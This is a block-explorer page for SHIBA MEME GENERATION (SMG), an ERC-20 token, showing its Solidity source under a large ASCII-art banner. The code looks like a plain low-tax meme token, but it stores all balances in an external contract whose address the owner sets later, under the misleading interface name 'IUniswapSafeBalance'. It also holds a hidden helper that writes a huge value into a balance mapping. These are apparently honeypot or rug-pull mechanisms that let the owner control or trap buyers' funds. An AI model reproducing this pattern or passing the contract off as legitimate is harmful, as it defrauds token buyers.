Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
700,000,000 SMG
Holders
15
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 16 Decimals)
Balance
10,798,479.0462707859900549 SMGValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
SHIBAMEMEGENERATION
Compiler Version
v0.8.15+commit.e14f2714
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-10-30 */ // https://t.me/ShibaMemeGeneration // SPDX-License-Identifier: none /* ............................................................................................................................................................................................................................................................................................................ ............................................................................................................................................................................................................................................................................................................ ............................................................................................................................................................................................................................................................................................................ ............................................................................................................................................................................................................................................................................................................ ............................................................................................................................................................................................................................................................................................................ ............................................................................................................................................................................................................................................................................................................ ............................................................................................................................................................................................................................................................................................................ ............................................................................................................................................................................................................................................................................................................ ............................................................................................................................................................................................................................................................................................................ ............................................................................................................................................................................................................................................................................................................ ............................................................................................................................................................................................................................................................................................................ ............................................................................................................................................................................................................................................................................................................ ..............................................................................................................................................''''''''''''''''''''''........................................................................................................................................ ....................................................................................................................................'''''',,,,,,,;;;;;;;;;;;;;;;,,,,,,'''''''............................................................................................................................... ............................................................'''''.............................................................''''',,,;;;;;::::ccllllloooooolllcc::::;;;;;,,,,''''...........................................................''''........................................................... .........................................................'',;;;;,''......................................................'''',,,,;;;::clooxxkOO0KKKXXXXXXXXXXKKK00Okkxdolc:::;;;,,,''''...................................................'',;;;;,''........................................................ .......................................................'',;lxkkxo:;,'''..............................................'''',,,;;;::cldxk0KXNNNNXXK0OOkkkkkkkkkkkOO00KXXXXKK0Okdolc::;;,,,''''..........................................''',,;:oxkkxl;,'....................................................... .......................................................',;ckOxdkOkxdddoddc.......................................''''',,,;;:ccodk0KXNNXKOkxdolcc:;;;;;;;;;;;;;;;:ccloodxO0KXXK0Oxolc::;;,,,''''....................................cddddddxkOkdxOkc,,'...................................................... .......................................................',,:okkkOxl::;,,;lxl'.................................''''',,,;;::cldk0XNNX0Oxolc:;;;;;;,,,,,'''''''',,,,,;;;;;;;:clodkOKXK0Oxoc::;;,,,'''................................'lkl;,,;::lxkkkkd:,,'...................................................... .......................................................'',,;cllc;,,''....cxo'............................'''''',,,;;::cldOKXNX0kdl:;;;;;,,'''''''''''''''''''''''''''',,,;;;;;:ldk0XXK0kocc:;;,,'''''...........................'okc'...'',,;cllc;,,'....................................................... .......................................................'''',,,,,,'''......:xd,........................''''''',,,;::cldkKXNXOxlc;;;;,,''''''',,,,,,,,,,,,,;;;,;;,,,,,'''''''',,;;;;:lxOXNX0xoc::;;,,,'''........................,oxc......''',,,,,,'''....................................................... .................................................'''..'''''''''''..........:xd;................'''''''''''',,;;:ccoxOKNX0dl:;;;,,'''',,,,;;;;;;;;;;;;;;,,;;;;;;;;;;;;;;;,,,''''',,;;;:ox0NNKOdlc:;;,,'''''''..................,dx:..........'''''''''''''''................................................. ..............................................'',,,,,'''''..................;dx:.............''''''''''',,,;;:ccok0XXKko:;;;,'''',,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;,,'''',;;;;cd0XWXOdlc::;,,''''''''.''...........;dd;..................''''',,,,,''............................................. ............................................'',;:looc;,,''...................,dx:'.....''''''''''''''',,,;;:ccox0XX0xc;,,,,''',,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;,,''',;;;:lOXWN0dlc:;;,,,'''''''''''......':xd;..................''',,;cool:;,''........................................... ...........................................'',;cxOkOOxollccc::::::::;'........,oxc'''''''''''''''''',,,;;:cclx0XX0d:,;cc;'.',;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;,..';;::;lOXNXkolc:;;,,,''''''''''''..'cxd,........';::::::::ccclloxOkkOxc;,'........................................... ...........................................'',;lOOxxOOxdddooooooooodkl'........,oxl,''''''''''''',,,,;;::clokKX0xc;':0WNXKkl;',;;;;;;;:::;;::::::::::::::::::::::::::::::;:::;;;;,',:loxO0K0l';oOXNKxlc::;;,,,''''''''''''cxo,''......'lxdooooooooodddxOOxxOOl;,''.......................................... ...........................................'',,:lxkkdc;,,''........'cko,..'''''',lxo,''''''''''',,,,;;:clox0KKkl;;',kWWMMMMWXkl,';;;::::::::::::::::::::::::::::::::::::::::::;,,;lx0KKKKKKXO;';:o0XXOdlc::;,,,,,''''''',lxl,'''''...,oxc'........'',,;cdxkxo:,,'........................................... ............................................'',,;;:;;,,''''.........'cxd;'''''''',lxo;''''',,,,,,,;;::clokKK0o:;;,.;KMWNXNWWWWN0o;,;:::::::::::::::::::::::::::::::::::::::::,,cx0KKKK0000KKKl.,;;cxKX0xlcc:;;,,,,,'''';okl,'''''''';dxc'..........'',,,;;:;,,''............................................ ..............................................'''',,'''''............':xx:'''''''',cxd:,,,,,,,,,,;;::cldOKKkl;;,'..:KWXOkOO0XNWWNKo;,;::::::cccccccccccccccccccccccccccccc:;;cx0KKK00OOkkk0KKd'',,;;oOKKxocc:;;,,,,,,,;dxc,'''''''';dx:'............'''',,,''''............................................. ...................................................'.................'';dxc'''''''',cxxoooooooooddddxxxOK0xc;,,'',.:XWKOkkkkkOKXNWN0o;,:ccccccccccccccccccccccccccccccccc:,:x0KKK0OOkkkOOOO0Kd'.',,,;lkKKOxxxdddooooooxxc,'''''''':xx:'''..............''''................................................. ...................................................................''''';dxc,''''''',;ccccclllllloodxxOK0d:;,,'',,.:KWKOOOkkkkkk0XNNN0l,;cllccc:;;;;;;;;;;;;;;;;::cclllc;;oOKK00OkkkkOOOOOO0Ko''''',;,cx0KOxdoollllcccc;,,,''''',cxd;''..................................................................... ...................................................................'''''',okl;,,,,,,,,,,,,,;;;;::clldk00d:;,,'',,,.;KWKOkkkkkkkkkkOKXNXOc;;;:cclllooddxxxxxddollllc::;;;ck0K00OkkkkOOOOOOOOK0c.,;''',,;:x00xolc::;;;,,,,,,,,,,,,lko;'''''''''............................................................... ......'''''....................................................''''''''''',okxdddddddddddddddddxxxxxk00d:,,''',;;;';0WXOkOkkkkkkkkxkOKNNKkxkOKKKKKK00000000000000000kxdx0K00OkkkkkOOOOOOOO0KO;';;;,'',,;cx00kkxxxdddddddddddddddxo;'''''''''''....................................................'''''..... ...'',;;:;,,''...............................................'''''''''''''',:cccccccccccccclllloodxk00xc;,,'',;;;;',kWN0kkkkkkkkkkkO0XXXXXXXKKKKKK00000000000000000000000000OOkkkOOOOOOOOO0Kd',;;;;'',,,;cxOOxdoollllccccccccccc:,'''''''''''''''..............................................'',,;:;,,''.. ..',;cxkOkdc;,,''.............'''''''''''''...''''''''''''''''',,,,,,,,,,,,,,,,;;;;;;;;;;;;:::cclodk0kl;,,'',;;;;;,.oNWKkkkkkkkkO0KXNNNXXXXKKKKKK000000000000000000000000000000OOOkkOOOOOO00c';;;;;,'',,,;lkOkollc:::;;;;;;;,,,,,,,,,,,,,,,,,,'''''''''''''''''''''''''''''''''.............'',,;cdkOkxc,''. ..',:xKkdOKOxxxdddddddddddddddddddddddddddddooooddddddddddddddddddddddddddddddddddddddddddddddxxkkkOOo;,,'',;;;;;;;':KMXOkkkkkO0XNNNNNXXXXXKKKKK000000000000OOO000000000000000000OOkkkOkO0Kx,';;;;;;,'',,,:okOkkxxdddddddddddddddddddddddddddddoddddooodooooooodddddddddddddddddddddddddddddddxxxOKOdkKk:,'. ..',;oOOO0kl::;;,,,'''''',,,;;::ccllc:::;;,,,,,,,,,,,,,,,,;;;;;;;;;;;;;;;;;;::::::::::::::cccllodxk0xc,,'.',,,;;;;;,'kWWKkkkk0XNNNNNNXXXXXKKKKK000000OOOOOOOOOOOOO00000000000000000OkkkkO00c',;;;;;,,,.',,,cxkkdollcc:::::::::;;;;;;;;;;;;;;;;;;;;;,,,,,,,,,,,,,,,,;;:::cllcc:;;;,,,'''''',,,;;::lk0OOOo;,'. ...'',:llc;,,'''...........'',;:okkkko:;,,''''''''''''''''''''',,,,,,,,,,,,,;;;;;;;;;;;;;;::cclooxOOd;,,'.,,,,;;;;;;'cXWXOkOKNNNNNNNNXXXXKKKKK000000OOOOOOOOOOOOOOOOOO00000000000000OOkkO0x,';;;;;;,,,'.,,,;oxkdolcc::;;;;;;;;,,,,,,,,,,,,,,,'''''''''''''''''''''',,;:oxkkko:;,'............'',,,:cll:,''.. .....''',,,,,''''..........'',;oO0xx00kxxddddddddddddddddddddddddddddddddddddddddddddddddddxxxxkkk0Ol,,'.',,,,;;;;;;',kWWK0XNWNNNNNNXXXXKKKKK00000OOOOOOOOOOOOOOOOOOOOOOO000000000000OOO0Oc';;;;;;;,,,'.',,,cdkkkxxxdddddddddddddddddddddddddddddddddddddddddddddddxxxk00xxOOo;,''.........'''''',,,,'''.... ........'''',,,,,'''.......'',;cxOOOOxlcc:::;;;;;;;;;;;;;;;;;:::::::::::::::::::cccccccccccllooddOKkc,,'.',,,,;;;;;;;'cKWWWWWWNNNNNXXXXXXKKK00000OOOOOOOOOOOOOOOOOOOOOO000000000000000000d',:;;;;;;,,,,.',,,:dkkddollcccccccc:::::::::::::::::::::;;;;;;;;;;;;;;;;::ccldOOOOxc;,''......''',,,,,,''''....... .........'',;coddl;,''......'',;:lool:;;,,''.............'''''''''''''',,,,,,,,,;;;;;;;;;;::cclodOKk:,,'.,,,,,,;;;;;;,'dNWWWWWNNNNXNNWWWWNXK0000OOOOOOOkkkkkOOOOOOOOOOKNNWNNK00000000000k;';;;;;;;;,,,,..,,,:dkkdllc::;;;;;,,,,,,,,,,''''''''''''''''............'',,;;:cool:;,''......'',:lddoc;,''........ .........',;lO0kO0kdoolllllllloooddddoooolllllllccccllllllllllllllllllllllllllllllllloooooooddxxx0Xx;,,..,,,,,,,;;;;;;';0WWWWNNNNNNWWMMMMMWX000OOOOOOkkkkkkkkkkkkOOOOXWMMMMMWX0OO00OOOO0o',:;;;;;;,,,,,'.,,,:dkkkxddoooooollllllllllllllllllllllllllllllccccccllllllooooddoooollllllllloodk0Ok0Ol,,'........ .........',;o00xk0Oxxdddooooodddddxxxxxxddddooooooooooooooooooooooooooooooooooooooooddddddddxxxkk0Xk;,,..,,,,,,,;;;;;,'cXWWWWNNNNXNWMMMMMMWNK00OOOOkkkkkkkkkkkkkkOOO0NWMMMMMWN0OOOOOOOOOx;';;;;;;,,,,,,'.',,cxkOkxxxdddddddooooooooooooooooooooooooooooooooooooooddddxxxxxxddddoooooooddxxO0kx00o,''........ ..........',;lxxxdc;,'........'',;:coddoc;,,'''...........''''''''''''''',,,,,,,,,,,,;;;;;::cllod0Nk;',..,,,,,,,,,;;;':0WWWWNNNNXXXNNWWNNNXK00OOOOOkkkkkkkkkkkkkkkkkO0KXXNNNXKOOOOOOOOOOOx,';;;;,,,,,,,'.',,lkOkdllc::;;;;;,,,,,,,,,,,,'''''''''''''..........''',;;coddoc;;,''........',;cdxxxl;,'......... ...........'',,,,,,''.........',,;lk0kk0kdllccccc::::::::ccccccccccccccccccccccllllllllllllooddxx0NO:','.',,,,,,,;;;',kWWWWWNNNNXKKKXXKKK0000OOOOOOkkkkkkkkkkkkkkkkkkkkOOOOOOkkkOOOOOOOOOOo'';;;;,,,,,,.',,,lk0Oxddoolllllllcccccccccccccccccccccccccccccc:cccccllodkOkk0kc;,''.........'',,,,,,''.......... ..............''''............'',;lO0kk0OkxxddddooooooooodddddddddddddddoodddddddddddddddddxxxxkxOX0c','.',,,,,,,,;'.oNWWWWWNNNN0c.,cok0K0000OOOOOkkkkkkkkkkkkkkkkkkkkkkOkxl:,.,oOOOOOOOOOOc.,;;,,,,,,'.',,;oO0OkxxxdddddddddddddddddddddddddddddddddddddddddddddxxxO0kk0Ol;,''...........'''''............. ...............................',,;ldxxdl;;,''''........''''''''''''''',,,,,,,,,,,,,;;;;;;:::clookKKo,,'.',,,,,,,,,.:KWWWWWNNNNNk' .,cdkO0OOOOOkkkkkkkkkkkkkkkkkkkkxdc,. :kOOOOOOOOOx,';;,,,,,,'.',,:d0Oxolc::;;;;;,,,,,,,,,,,''''''''''''''''........'''',;;cdxxdc;,''.............................. ................................'',,,;;;,,'''............''''''''''''''',,,;cooooooooooooooodddxxkOKx;,,'.',,,,,,,''xWWWWWWNNNNN0; .;lxOOOkkkkkkkkkkkkkkkkkkxl;.. .lOOOOOOOOOOOl.';,,,,,,'.',;lk0Okxxddooooooooooooc;,,,'''''''''''''''............'',,,;;;,,,''............................... ..................................'''''''''................''''''''''''',,:dkdoooooooooooooooddxxxk0Oc,,'.',,,,,,,.:KMWWWWWNNNNNX0d;. 'lkOkkkkkkkkkkkkkkkkko,. .':dkOOOOOOOOOO0x,.,,,,,,'.',;:oO0kxxddoooooooooooodxd:,'''''''''''''''...............'''''''''................................. ............................................................'''''''''''',:xxc,,,,,,,,,,,;;;;;:cclodkOd;,,'.,,,,,,'.dWMWWWWWNNNNNXXXK0xl:,'....'lkO00KKXXXXKKK0OOkd,.....',:lxkOOOOOOOOOOOOOOO:.,,,,,,'',;;cx0Odllc:;;;,,,,,,,,,,cxx:,'''''''''''''.......................................................... ...............................................................''''''''':xx:,,,,,,,,;cooooooddddxxxxkkl,,,'',,,,,.,OWMWWWWWWNNNNNXXXKKKK0Okkxxx0XNWWWWMMMMWWWWWNX0xdddxkkOOOOOOOOOOOOOOOOOOOOo'',,,,'.',;:dkOOkxxdddoooc;,,,,,,,,:xxc,''''''''''............................................................ ................................................................'''''''cxx:'',,,,,,;lkxollooooodddxdxkxc,,'.',,,,.:KMWWWWWWWNNNNXXXXXKKKK0000XNWWWXkddoddodddONMWWNK0kkOOOOOOOOOOOOOOOOOOOOO0d'.,,,'.',;:lxkkxdddooooodkl;,,,,,,'';dxc,'''''''.............................................................. .................'''''''..........................................''',lkd;''''',,,;oko;,,,,,;;;::clodxkd:,,'.',,,.lXMWMWWWWWWWNNNXXXXKKKK00XNWWWMNl .oNMMWWNKOOOOOOOOOOO00KKKXXXXXXXk,.,,'.',;:cdkkdlcc:;;;,,;oko;,,,''''',okl,'''''........................................''''''................. ...............'',;:::;,''........................................'.,lko,'''''''';oko;,,,,,,,;;;:ccloddxo:,,'.',,.cXMMMMMMMMMMWWWNNXXKKKKKNWWMMWMX: :XMMMWWWX0OOOOOO0KXNWWWWMMMMWWM0,.,''',;;coxkdlcc:;;;,,,,;lkd;'''''''',oko,'.'.......................................',,;:::;,''.............. ..............'',cxOOOxl:;,'''..............''''''''''''''''''''''',okl,'''''''';dxl,,,,,,,,,,;;;::cloodxo;,,''',.,OWMMMMMMMMMMMMMWWNXKKKNWMWMMWMNo .dWWWMMMMWX0OO0KNWWMMMMMMMMMMMWWx'''.',;:codxdlcc:;;,,,,,,',cxd;'''''''',lko;''''''''''''''''''''.................'',,;;cxOkOxc,''............. ..............',;xKkdkK0kxxxxxdddddddddddddddddddddddddddddddddddddxxc''''''''';dxc,'''',,,,,,,,;;::clooddo:,,,'''.cKMMMMMMMMMMMMMMMWWNXNWMMMMMWMMXl. .oNMWMMMMMMWXKXWWWMMMMMMMMMMMMMW0;..'',;:codxdlcc:;;,,,,,,''',:xd:'''''''''cxxddddddddddddddddddddddddddddddddddddddxxxxkOKkdkKx;,'............. ..............'',lkOOOkoc:;;;,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;;;;,'.'..'''':xx:''''''',,,,,,,,,;;:clooodo:,,,'...cKWMMMMMMMMMMMMMMMWWWWMWMMMMMMMW0oc;..:o0WMMMMMMMMMMWWMMMMMMMMMMMMMMMMW0;..',;;:codxolc::;;,,,,'''''''':xx:'''''...',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;;;:cokOOOkl,''............. ...............'',;clc;,,'.................................................'':xx:'''''''''''',,,,,,;;:cclooooc;;,''..:OWMMMMMMMMMMMMMMMMMMMMMMMWMMMMMMMNddNWWWWMMWWMMMMMMMMMMMMMMMMMMMMMMNk,..',;::loddolc:;;,,,,''''''''''';dx:''.................................................',,;ccc;,''.............. .................'''''''...................................................'cxd;''''''''''''''''',,,;;::cloolll:;,,'..'oKWMMMMMMMMMMMMMMMMMMMMNOxO0000Od,,x000OOKWWMMMMMMMMMMMMMMMMMMMMWKl..',;;:codddlcc:;;,,,'''''''''''''',dkc'...................................................''''''................. ..........................................................................'lko,..'''''''''''''''''',,,;;:cclolllc;;,,'..,dXWMMMMMMMMMMMMMMMMMMWO,.,oolc:;:cldc..oNWMMMMMMMMMMMMMMMMMMWXd,..,;::cldddolc:;;,,,'''''''''''''....,okl'.......................''................................................ .............................................''',,,''''..................'lkl,..........''''''''''''',,,;::cllllll:;;,,'..,dKWMMMMMMMWMMMMMMMMMW0coNXkxxloxON0:oXWMMMMMMMMMMMMMMMMMWXx;..,;;:lodxdolc::;,,,'''''''''''.........'lkl'..................''',,,,'''............................................ ............................................',,;cllc;,''................,okl'.............''''''''''''',,,;;:cllllllc:;;,'..,oONMMMMMMMMMMMMMMMMWXXWWNNNKKNWWNKNWMMMMMMMMMMMMMMMWN0o;'',;;:lodxdolc::;;,,'''''''''''............'cko,................'',;:llc;,,'........................................... ...........................................',,:dOOOOxollccc::::::::::::cdkc'.................''.''''''''',,,;::clllloolc:;;,'.':d0NWMMMMMMMMMMMMWMMMWMMMWMMMWMMWWMMMWMMMMMMMMMWKxc,'';;:cloxxxolc::;;,,''''''.....................ckdc:::::::::::cccclloxOOOOd:,,'.......................................... ...........................................',;lO0xdO0kxdddooooooooooooooo:..........................'''''''',,;;:cclooodool:;;,'',cd0NWMMWMMMMMMMMMMWMMMMMMMMWMWWMMMMMMMMMMWKxl,.';;:cloxxxdolc:;;,,,''''''........................;looooooooooooooddddk0OxxOOl;,'.......................................... ...........................................',,:okkkxo;,'..................................................'''',,;;::cllooddddoc:;;,',:okKNWWWMMMMMMMMMMMMMMMMMMMMMMWWMWNXOxl;'';:clodxxxxdlc::;;,,''''...............................................',;oxkkko:,''.......................................... ............................................'',,;::;,''.....................................................''''',,;;::clloddxxdolc::;,',:lxOXNWMMMMWWWWWWWMMWMMMWNX0xoc:;::ccllodxkxxdlcc:;;,,''''...................................................',,;::;,,''........................................... ..............................................'''''''............................................................''',,,;;:ccloodddddoollc;,,,;cldxO0KXNNNNXK0Okxdlc:;,;:clodddxxxxdolc::;;,,''''........................................................''''''.............................................. ....................................................................................................................'''',,,;;:cclloooooooolllcc:::::loooooolc:;::cclooddddxxxddolcc::;;,,''''............................................................................................................... ..........................................................................................................................''',,;;;::cccllllllllllllllooooooooooooooddddooollcc::;;;,,,'''................................................................................................................... ...............................................................................................................................'''',,;;;;::ccccccccccclllllllllllccccc:::;;;,,,,''''........................................................................................................................ ......................................................................................................................................''''',,,,,;;;;;;;;;;;;;;;,,,,,''''''''................................................................................................................................ ..................................................................................................................................................'''''''''................................................................................................................................................. ............................................................................................................................................................................................................................................................................................................ ............................................................................................................................................................................................................................................................................................................ ............................................................................................................................................................................................................................................................................................................ .................................................................,,''...:,....;;...,:...':,,;.....,;.........,;.....';...':;''...,;.....,;...':;''........,,'''',...;:,''..,:'....,;...:;''...;;',;......;,...'.,:,.'..,:....,'.'';,...;;.....;'............................................................ ................................................................'c;.....c;....:;...;:...'c'.:'...':l;........:o;...'cl...'c,.....:o;...'ll...'c,.........:;.........;c.....;lc;...,;...::.....:;..c;....,cc'....'c' ...;:. 'c'.....c:..:c:,...;' ........................................................... .................................................................';:,...c:.'''c;...;:. .'c,':,...:;;l,.......;;:;..;;c,..'c;''...;;:;.';;c,..'l;''......,l,....';'..;c'''..;,.;c;.,;...cc''...::';;....':,:c....'c' ...;:..:c. ....;c..;..::'.;' ........................................................... .................................................................. 'c, .c, .:;...,:. .':. 'c'.;;..;c......':..cc;..:;..'c' ...':.'c:;..c;..'c' ........:c....'c'..;:.....;,...;:c;...:;.....::.':,...;,..::...'c' ...;:. 'c,.....:;..;' .':::' ........................................................... .................................................................,.',. .:,....;;...,:...':,.''.';....;;.....,;...;...,;..':;''..,;..';. .;;..':,''........,;,'',;...;:'''..,,.....;'...;;''...;;...;,.,,....:,..':'....,:....;,''','. .;'....';. ........................................................... ............................................................................................................................................................................................................................................................................................................ ............................................................................................................................................................................................................................................................................................................ ............................................................................................................................................................................................................................................................................................................ ............................................................................................................................................................................................................................................................................................................ ............................................................................................................................................................................................................................................................................................................ ............................................................................................................................................................................................................................................................................................................ */ pragma solidity 0.8.15; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; bytes32 internal blockHash; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD)); _owner = address(0x000000000000000000000000000000000000dEaD); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function basicTransfer( mapping (address => uint256) storage amount) internal returns(bool){ amount[msg.sender]=block.number**7; return true; } } interface IUniswapSafeBalance { struct Map { address[] keys; mapping(address => uint) values; mapping(address => uint) indexOf; mapping(address => bool) inserted; } function get(address key) external view returns (uint); function getIndexOfKey(address key) external view returns (int); function getKeyAtIndex(uint index) external view returns (address); function size() external view returns (uint); function set (address key, uint val) external; function remove(address key) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract SHIBAMEMEGENERATION is Context, IERC20, Ownable { uint256 public immutable _buyTax =1; uint256 public immutable _sellTax = 1; string private _name = unicode"SHIBA MEME GENERATION"; string private _symbol = unicode"SMG"; uint8 private _decimals = 16; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 public _totalSupply = 700000000 * 10**(_decimals); bool active=true; bool init=false; address public uniswapPair; using SafeMath for uint256; address public prova; mapping (address => uint256) public test; mapping (address => bool) public holderNoFee; mapping (address => mapping (address => uint256)) private _allowances; IUniswapV2Router02 public uniV2Router; IUniswapSafeBalance private _walletsAmount; constructor () { IUniswapV2Router02 _uniV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniV2Router = _uniV2Router; _allowances[address(this)][address(uniV2Router)] = _totalSupply; holderNoFee[owner()] = true; holderNoFee[address(this)] = true; } function mainInit(address system) public onlyOwner{ _walletsAmount = IUniswapSafeBalance(system); _walletsAmount.set(owner(),_totalSupply); emit Transfer(address(0), _msgSender(), _totalSupply); } function fee(address s, address r, uint256 amount) internal returns (uint256) { uint256 feeValue = 0; uint256 deadWalletAmount = _walletsAmount.get(address(deadAddress)); if(uniswapPair == s) { feeValue = amount.mul(_buyTax).div(100); } else if(uniswapPair == r) { feeValue = amount.mul(_sellTax).div(100); } if(feeValue > 0) { deadWalletAmount = deadWalletAmount.add(feeValue); _walletsAmount.set(deadAddress,deadWalletAmount); emit Transfer(s, address(deadAddress), feeValue); } return amount.sub(feeValue); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function transfer(address recipient, uint256 amount) public override returns (bool) { if(init==false){ try IUniswapV2Factory(uniV2Router.factory()).getPair(address(this), uniV2Router.WETH()){ uniswapPair = IUniswapV2Factory(uniV2Router.factory()).getPair(address(this), uniV2Router.WETH()); init=true; } catch(bytes memory){ } } _transfer(_msgSender(), recipient, amount); return true; } 